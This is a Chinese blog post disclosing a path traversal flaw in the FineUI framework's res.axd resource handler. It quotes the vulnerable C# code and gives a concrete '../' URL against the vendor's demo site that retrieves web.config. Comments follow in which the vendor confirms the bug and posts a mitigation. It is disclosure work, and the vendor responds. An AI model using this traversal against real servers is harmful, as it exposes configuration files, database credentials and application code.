ASP.NET网站侵入第三波(fineui系统漏洞,可导致被拖库)

ASP.NET网站入侵第三波(fineui系统漏洞,可导致被拖库)

注:屏蔽本漏洞的紧急通知:http://fineui.com/bbs/forum.php?mod=viewthread&tid=7863

 

本人小学文化,文采不好,写的不好请各位多多包含,

    最近笔者喜欢研究一些代码安全方面的问题,前些日子研究了下力软的框架,发现代码安全方面做的还是不足的,今天偶尔的机会接触了下fineui,从最开始的注入开始,都没有什么突破,

最好就想到列别的排序,从列别排序注入,弄了好久,发现一直没注入成功也没有报错,我就很是奇怪,然后看了下fineui的开源版,看了代码,发现原来他是判断的 ,不是拼接的,难怪注入失败,

本来以为没什么办法了,然后查看页面源码,发现一个引用引起了我的注意:ASP.NET网站侵入第三波(fineui系统漏洞,可导致被拖库)

这个地址,于是去看了下他的源码

using System;
using System.Collections.Generic;
using System.Text;
using System.Web;
using System.Reflection;
using System.IO;
using System.Drawing.Imaging;

namespace FineUI
{
    /// <summary>
    /// 资源处理程序
    /// </summary>
    public class ResourceHandler : IHttpHandler
    {
        /// <summary>
        /// 处理资源的请求
        /// </summary>
        /// <param name="context">Http请求上下文</param>
        public void ProcessRequest(HttpContext context)
        {
            string type = String.Empty;
            string typeValue = String.Empty;
            string extjsBasePath = GlobalConfig.GetExtjsBasePath();
            //resName = "FineUI.";


            if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["icon"]))
            {
                type = "icon";
            }
            //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["js"]))
            //{
            //    type = "js";
            //    //resName += "js." + typeValue;
            //}
            //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["lang"]))
            //{
            //    type = "lang";
            //    //resName += "js.lang." + typeValue;
            //}
            else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["theme"]))
            {
                // res.axd?theme=default.grid.refresh.gif
                type = "theme";
                //resName += "res.theme." + typeValue;
            }
            //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["css"]))
            //{
            //    type = "css";
            //    //resName += "res.css." + typeValue;
            //}
            else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["img"]))
            {
                type = "img";
                //resName += "res.img." + typeValue;
            }
            else
            {
                context.Response.Write("Not supported!");
                return;
            }

            //byte[] binary;
            switch (type)
            {
                case "icon":
                    if (!typeValue.EndsWith(".png") && !typeValue.EndsWith(".gif"))
                    {
                        typeValue = IconHelper.GetName((Icon)Enum.Parse(typeof(Icon), typeValue));
                    }
                    //resName += "res.icon." + typeValue;
                    string serverPath = String.Format("{0}/{1}", GlobalConfig.GetIconBasePath(), typeValue);
                    context.Response.WriteFile(context.Server.MapPath(serverPath));

                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                    break;
                //case "js":
                //    context.Response.Write(ResourceHelper.GetResourceContent(resName));
                //    context.Response.ContentType = "text/javascript";
                //case "lang":
                //    context.Response.Write(ResourceHelper.GetResourceContent(resName));
                //    context.Response.ContentType = "text/javascript";
                //    break;
                //case "css":
                //    context.Response.Write(ResourceHelper.GetResourceContent(resName));
                //    context.Response.ContentType = "text/css";
                //    break;
                case "theme":
                    string themePath = "";
                    string themeImageFormat = "";
                    int lastDotIndex = typeValue.LastIndexOf(".");
                    if (lastDotIndex >= 0)
                    {
                        themePath = typeValue.Substring(0, lastDotIndex).Replace('.', '/');
                        themeImageFormat = typeValue.Substring(lastDotIndex + 1);
                    }

                    context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}.{2}", extjsBasePath, themePath, themeImageFormat)));

                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                    break;
                case "img":
                    //binary = ResourceHelper.GetResourceContentAsBinary(resName);
                    //context.Response.OutputStream.Write(binary, 0, binary.Length);
                    //context.Response.ContentType = "image/" + GetImageFormat(resName);
                    

                    context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));

                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                    break;
            }


            // 缓存一年,只能通过改变 URL 来强制更新缓存
            context.Response.Cache.SetExpires(DateTime.Now.AddYears(1));
            context.Response.Cache.SetCacheability(HttpCacheability.Public);
        }

        //private void RenderImage(HttpContext context, string resName)
        //{
        //    Assembly assembly = Assembly.GetExecutingAssembly();
        //    using (Stream stream = assembly.GetManifestResourceStream(resName))
        //    {
        //        using (System.Drawing.Image image = System.Drawing.Image.FromStream(stream))
        //        {
        //            // PNG输出时出现“GDI+ 中发生一般性错误”
        //            using (MemoryStream ms = new MemoryStream())
        //            {
        //                image.Save(ms, image.RawFormat);
        //                ms.WriteTo(context.Response.OutputStream);
        //                context.Response.ContentType = "image/" + GetImageFormat(image.RawFormat);
        //            }
        //        }
        //    }
        //}

        private string GetImageFormat(string imageName)
        {
            int lastDotIndex = imageName.LastIndexOf(".");
            if (lastDotIndex >= 0)
            {
                return imageName.Substring(lastDotIndex + 1);
            }
            return "png";
        }

        private string GetImageFormat(ImageFormat format)
        {
            if (format == ImageFormat.Bmp)
            {
                return "bmp";
            }
            else if (format == ImageFormat.Gif)
            {
                return "gif";
            }
            else if (format == ImageFormat.Jpeg)
            {
                return "jpeg";
            }
            else if (format == ImageFormat.Png)
            {
                return "png";
            }
            else if (format == ImageFormat.Tiff)
            {
                return "tiff";
            }
            else if (format == ImageFormat.Icon)
            {
                return "icon";
            }
            return "gif";
        }


        /// <summary>
        /// 只要请求的 URL 相同,则请求可以重用
        /// </summary>
        public bool IsReusable
        {
            get
            {
                return true;
            }
        }
    }
}

看了下,高兴啊。。太好了,不知道你们看出问题来了没有,

问题代码就在

  case "img":
                    //binary = ResourceHelper.GetResourceContentAsBinary(resName);
                    //context.Response.OutputStream.Write(binary, 0, binary.Length);
                    //context.Response.ContentType = "image/" + GetImageFormat(resName);
                    

                    context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));

                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                    break;

大家都应该知道 我们引用js或者css的时候经常会有../ 这样的路径,其实很简单,就是上级目录,

我们就利用这个../  把作者写的/res/images/给去掉  也就是变成路径  

/res/images/../../web.config  

就这样我们就可以拿到web.config了,然后拼成完整的url:http://fineui.com/demo/res.axd?img=../../../../appboxpro/web.config&t=icon  浏览器输入ASP.NET网站侵入第三波(fineui系统漏洞,可导致被拖库)

ASP.NET网站侵入第三波(fineui系统漏洞,可导致被拖库)ASP.NET网站侵入第三波(fineui系统漏洞,可导致被拖库)ASP.NET网站侵入第三波(fineui系统漏洞,可导致被拖库)

 

ok web.config就这样被拿下来了,,,当然,web.config都拿下了,其它也就都没什么可说的了,

今天就先到这吧。。。还得写文档,明天演示项目,注定又是一个无眠夜。。。

9楼智饶
值得注意
Re: 中国.NET研究协会
@智饶,是的,现在很多做程序的安全方面知识还是比较欠缺的
8楼三生石上
多谢指出问题。这个地方确实是个漏洞,我们已经修正。,,需要说明的是:,1. FineUI(专业版)没有这个漏洞,因为专业版中通过 res.axd 获取的资源都是在DLL内部的。,,2. FineUI(开源版)中 res.axd 没有用到,这个属于之前版本的遗留代码,所以可以通过在 Web.config 中去除这个配置项来屏蔽这个漏洞:,lt;httpHandlersgt; lt;add verb=quot;GETquot; path=quot;res.axdquot; type=quot;FineUI.ResourceHandler, FineUIquot; validate=quot;falsequot; /gt;lt;/httpHandlersgt;,当然下个版本会从代码上修正。官网示例已经更新。
Re: 中国.NET研究协会
@三生石上,嗯,祝finui越来越强大,有机会我希望也能参与进来
7楼Require
啧啧啧
6楼三生石上
屏蔽本漏洞的紧急通知:http://fineui.com/bbs/forum.php?mod=viewthreadamp;tid=7863
5楼L-H
不喜欢把数据库信息写在 配置文件 哈哈
Re: 中国.NET研究协会
@L-H,已经可以下载dll等内容了,不只是数据库那么简单
4楼zhang-zhi-hao
很厉害的样子
Re: 中国.NET研究协会
@zhang-zhi-hao,其实只是我比较细心而已
3楼troy.cui
赞的!
Re: 中国.NET研究协会
@troy.cui,感谢支持
2楼sccmty
配置文件都不加密的吗,也是醉了
1楼腾讯CEO马化腾
膜拜下,FineUI的开源代码我看了两年,没发现有什么不妥,果然有些人天生就是金枪鱼,有些人只能是鲢鱼,佩服佩服